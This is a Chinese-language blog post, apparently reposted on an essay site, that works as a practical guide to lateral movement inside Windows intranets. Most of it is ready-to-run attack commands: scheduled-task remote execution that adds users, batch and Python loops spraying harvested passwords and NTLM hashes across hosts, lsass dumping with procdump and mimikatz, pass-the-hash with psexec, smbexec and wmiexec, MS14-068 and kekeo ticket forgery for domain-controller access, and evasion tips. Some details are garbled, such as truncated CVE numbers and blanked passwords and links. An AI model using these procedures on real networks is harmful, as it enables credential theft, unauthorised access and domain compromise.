1200字范文,内容丰富有趣,写作的好帮手!
1200字范文 > 内网渗透-最实用的横向移动总结

内网渗透-最实用的横向移动总结

时间:2023-11-06 13:42:19

相关推荐

内网渗透-最实用的横向移动总结

0x00 内网横向移动的两种方式小结

内网的横向移动的方式有传递和漏洞两种:

所谓传递就是通过内置的一系列协议与命令,

例如:

at,schtasks,

psexec,smbexec,

wmic,vmiexec,

PTH,PTT,PTK,

winrs,winrm,RDP,SPN等,实现达到渗透其他内网主机,

使用工具: CobaltStrike,Ladon等渗透

所谓漏洞就是一些主机或者其他的CVE漏洞去渗透主机

例如:

CVE--6324

CVE-17010

CVE--1472等,实现达到渗透其他内网主机,

0x01 横向移动-at,schtasks传递

基于对方开启139,445端口,获取其他主机的明文密码,或者hash值

1)at传递:

对于at命令需要对方主机低于win在已知目标系统的用户明文密码的基础上,直接可以在远程主机上执行命令。首先at,sc协议需要有135/445端口的开放,一般主机都会开启。没有开启就采用其他的移动方式。

利用流程

建立 IPC 链接到目标主机,知道对方主机账户密码信息,若未成功可能权限问题拷贝要执行的命令脚本到目标主机查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本删除 IPC 链接

建立ipc连接:net use \\192.168.213.163\ipc$ "" /user:\administrator本地制作user.bat文件放在本地c盘执行命令脚本:net user haha /add将文件上传到对方主机C 盘:copy user.bat \\192.168.213.163\c$ 给对方主机添加命令执行任务:at \\192.168.213.163 12:20 c:\user.bat等待后查看到对方主机添加用户haha

详细步骤: 建立连接

给对方复制文件,添加进程任务

对方查看添加成功

建立 IPC 常见的错误代码(1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限(2)51:网络问题,Windows 无法找到网络路径(3)53:找不到网络路径,可能是 IP 地址错误、目标未开机、目标 Lanmanserver 服务未启动、有防火墙等问题(4)67:找不到网络名,本地 Lanmanworkstation 服务未启动,目标删除 ipc$(5)1219:提供的凭据和已存在的凭据集冲突,说明已建立 IPC$,需要先删除(6)1326:账号密码错误(7)1792:目标 NetLogon 服务未启动,连接域控常常会出现此情况(8)2242:用户密码过期,目标有账号策略,强制定期更改密码#建立 IPC 失败的原因(1)目标系统不是 NT 或以上的操作系统(2)对方没有打开 IPC$共享(3)对方未开启 139、445 端口,或者被防火墙屏蔽(4)输出命令、账号密码有错误

2)schtasks传递:

对于at命令需要对方主机低于win,schtasks支持包括以上的版本

利用流程:创建ipc连接:net use \\192.168.213.163\ipc$ "" /user:\administrator 复制脚本bat文件:copy user.bat \\192.168.213.163\c$ 创建 adduser 任务对应执行文件:schtasks /create /s 192.168.213.163 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\user.bat /F执行文件任务:schtasks /run /s 192.168.213.163 /tn adduser /i删除执行文件任务:schtasks /delect /s 192.168.213.163 /tn adduser /f

3)atexec.exe横向渗透hash传递:

atexec比较容易被杀掉,实战中需要做免杀,

FOR /F %%i in (ips.txt) do net use \\%%i\ipc$ "admin!@#45" /user:administrator #批量检测 IP 对应明文连接FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami #批量检测 IP 对应明文回显版FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@192.168.3.21 whoami #批量检测明文对应 IP回显版FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./administrator@192.168.3.21 whoami #批量检测HASH 对应 IP 回显版

4)pyhon批量检测IP,密码,账户存活:

生成exe文件:

文件位置:

使用pyinstaller打包exe运行文件:python批量检测:使用收集到的域内IP信息,密码账户信息作为字典import os,timeips={'192.168.213.163','192.168.213.100','192.168.213.120','192.168.213.132'}users={'administrator','user','haha','Administrator','lily'}passs={'admin','','','123456'}for ip in ips:for user in users:for mima in passs:exec="net use \\"+"\\"+ip+'\ipc$'+mima+' /user:\\'+userprint('--->'+exec+'--->')os.system(exec)time.sleep(1)

0x02 横向移动-基于SMB的psexec,smbexec传递

psexec,smbexec是基于SMB服务的连接,需要开启445端口,获取明文或者hash值

首先介绍procdump配合minikatz获取本机的明文密码和hash值

安装procdump:/zh-cn/sysinternals/downloads/procdump

生成lsass.dmp文件:procdump -accepteula -ma lsass.exe lsass.dmp

使用mnikatz解密出密码:

sekurlsa::minidump lsass.dmp

sekurlsa::logonPasswords full

1)psexec传递:

第一种:建立ipc连接,明文或者hash传递,需要对方的administrator权限,否则会错误

psexec是微软官方,不会被杀:/en-us/sysinternals/downloads/pstools

建立ipc连接:net use \\192.168.213.163\ipc$ "" /user:administrator使用psexec返回cmd窗口:psexec \\192.168.213.163 -s cmd

第二种:不用建立 IPC 直接提供明文账户密码

删除ipc连接:net use * /delete

直接明文连接:psexec \\192.168.213.163 -u administrator -p -s cmdhash连接:psexec -hashes :$HASH$ ./administrator@10.1.2.3psexec -hashes :$HASH$ domain/administrator@10.1.2.3psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 官方 Pstools 无法采。需要使用 impacket 工具包使用,操作简单,容易被杀

2)smbexec传递

无需先建立 ipc 链接 明文或 hash 传递

这是使用impacket工具包,

exe下载地址:/RichChigga/impacket-examples-windows/repository/archive/master.zip

py版本:/SecureAuthCorp/impacket

明文传递命令:smbexec /administrator:@192.168.213.163hash传递:smbexec -hashes :$HASH$ ./admin@192.168.213.163smbbexec -hashes :$HASH$ domain/admin@192.168.213.163

0x03 横向移动,基于WMI 的wmic,vmiexec传递

需要开启135端口服务,支持明文与hash的传递,并且这种方式不会在日志中留下痕迹

1)wmic传递

1.使用自带的明文传递 无回显

建立连接,返回的值在对方主机需要进行读取:wmic /node:192.168.213.163 /user:administrator /password: process call create "cmd.exe /c ipconfig >C:\1.txt"

读取值:

2.使用自带的明文传递 有回显,需要借助vbs文件

cscript //nologo wmiexec.vbs /shell 192.168.213.163 administrator

3.使用套件 impacket wmiexec 明文或 hash 传递 有回显 exe 版本,可能容易被杀

工具包地址:/RichChigga/impacket-examples-windows/repository/archive/master.zip

工作组环境:wmiexec ./账户:密码@192.168.3.32 "whoami"域环境:wmiexec god/administrator:@192.168.3.21 "whoami"hash传递:wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.213.163 "whoami"wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.213.163 "whoami"查看c盘:wmiexec /administrator:@192.168.213.163 "dir /c"

3.py批量检测,循环账户密码,

使用python的pyinstaller模块导出exe执行pyinstaller.exe -F fuck_neiwang_002.py

EXP:import os,timeips={'192.168.3.21','192.168.3.25','192.168.3.29','192.168.3.30','192.168.3.32'}users={'Administrator','boss','dbadmin','fileadmin','mack','mary','webadmin'}hashs={'ccef208c6485269c20db2cad21734fe7','518b98ad4178a53695dc997aa02d455c'}for ip in ips:for user in users:for mimahash in hashs:#wmiexec -hashes :hashgod/user@ipwhoamiexec = "wmiexec -hashes :"+mimahash+" god/"+user+"@"+ip+" whoami"print('--->' + exec + '<---')os.system(exec)time.sleep(0.5)

0x04 横向移动-PTH,PTK,PTT传递

使用这三种协议传递需要注意的是,当使用PTH传递时候当对方主机存在补丁kb2871997后,PTH配合minikatz只能连接域用户,不能连接其他组的用户,PTK的传递需要对方主机存在补丁kb2871997才PTK才可以连接域用户,也可以连接组,采用ase256连接,PTH与PTK的传递都是基于NTML认证,而PTT的传递基于kerbros协议,

总结:

1)PTH配合minikatz传递:

未打补丁,ntlm传递:

提权:privilege::debugntlm传递:sekurlsa::pth /user:administrator /domain: /ntlm:ccef208c6485269c20db2cad21734fe7ntml组内碰撞:可能存在与本机相同的administrtor用户的hash值sekurlsa::pth /user:administrator/domain:workgroup/ntlm:518b98ad4178a53695dc997aa02d455cntml域用户传递:sekurlsa::pth /user:hsyy /domain: /ntlm:ccef208c6485269c20db2cad21734fe7

2)PTK配合minikatz传递需要存在补丁kb2871997

使用minikatz获取aes256_hmac:sekurlsa::ekeys传递连接:sekurlsa::pth /user:mary/domain:/aes256:d7c1d9310753a2f7f240e5b2701dc1e6177d16a6e40af3c5cdff814719821c4b

3)PTT利用ms14-068传递:

ms14-068能够将普通域用户的权限获取域控 system 权限

提权步骤: MS14-068 powershell 执行

1.查看当前 sid : whoami /user

2.清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造:mimikatz # kerberos::purge

3.查看当前机器凭证:mimikatz # kerberos::list

4.将票据注入到内存中:mimikatz # kerberos::ptc 票据文件

5.利用 ms14-068 生成 TGT 数据:ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码

6.票据注入内存:开启mimikatz.exe “kerberos::ptc TGT_mary@ache” 退出exit

7.查看凭证列表 klist

8.提权利用:dir \192.168.213.132\c$

步骤实现:

1.查看sid:whoami /user

2.利用ms14-068生成票据:ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码

3.注入票据:

4.连接域控实现提权:

如果无法识别,就将IP改为域计算机名

4)PTT利用工具kekeo传递:

PTT知识点:PTT权限维持技术:黄金票据Golden ticket 白银票据STLVER ticket

实现步骤:

1.生成票据 kekeo “tgt::ask /user:mary /domain: /ntlm:518b98ad4178a53695dc997aa02d455c”

2.导入票据 kerberos::ptt TGT_haha@_krbtgt~@.kirbi

3.查看凭证 klist

4.利用 net use 载入 dir \192.168.213.163\c$

5)PTT配合mimikatz利用本地票据:需要管理员权限:

提升权限:privilege::debug

导出票据:sekurlsa::tickets /export

利用票据:kerberos::ptt xxxxxxxxxx.xxxx.kirbi

6) Ladon工具推荐使用:

国产 Ladon 内网杀器测试验收

实现:信息收集-协议扫描-漏洞探针-传递攻击等

使用地址:/k8gege/Ladon

0x05 横向传递-RDP,SPN扫描技术

1)RDP传递:

RDP技术就是类似于linux上的ssh远程连接,知道对方的IP,以及账户密码进行连接

需要开启3389端口

cmd运行:mstsc

明文传递

hash传递比较鸡肋

2)SPN扫描:

当计算机加入域时,主SPN会自动添加到域的计算机账号的ServicePrincipalName属性中。在安装新的服务

后,SPN也会被记录在计算机账号的相应属性中。。

SPN扫描也称为”扫描Kerberos服务实例名称"。 在活动目录中发现服务的最佳方法就是SPN扫描。 SPN 扫描通过请求特定SPN类型的服务主体名称来查找服务。与网络端口扫描相比, SPN扫描的主要特点是不需要

通过连接网络中的每个IP地址来检查服务端口(不会因为触发内网中的IPS. IDS等设备的规则而产生大量的警告

日志)。因为SPN查询是Kerberos票据行为的一部分,所以检测难度很大。

由于SPN扫描是基于LDAP协议向域控制器进行查询的,所以,攻击者只需要获得一个普 通的域用户权限, 就可以进行SPN扫描。

0x06 横向移动-CobaltStrike

使用流程:

1.启动-配置- 监听执行-.上线提权信息收集(网络,凭证,定位等) -渗透

2.关于启动及配置

3.关于提权及插件加载

4.关于信息收集命令

5 关于视图自动化功能

安装使用:http://www.kxsy.work//08/05/shen-tou-shen-qi-cs-an-zhuang-xiang-xi-jiao-cheng/

域渗透参考:http://www.kxsy.work//08/17/strike-yu-shen-tou/

CS4.0使用手册:

链接:/s/1knqCFSZ2VxUKKAGE6INRiw

提取码:hsyy

交流学习:

博客:www.kxsy.work

CSND社区:告白热

师从“小迪安全”/

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。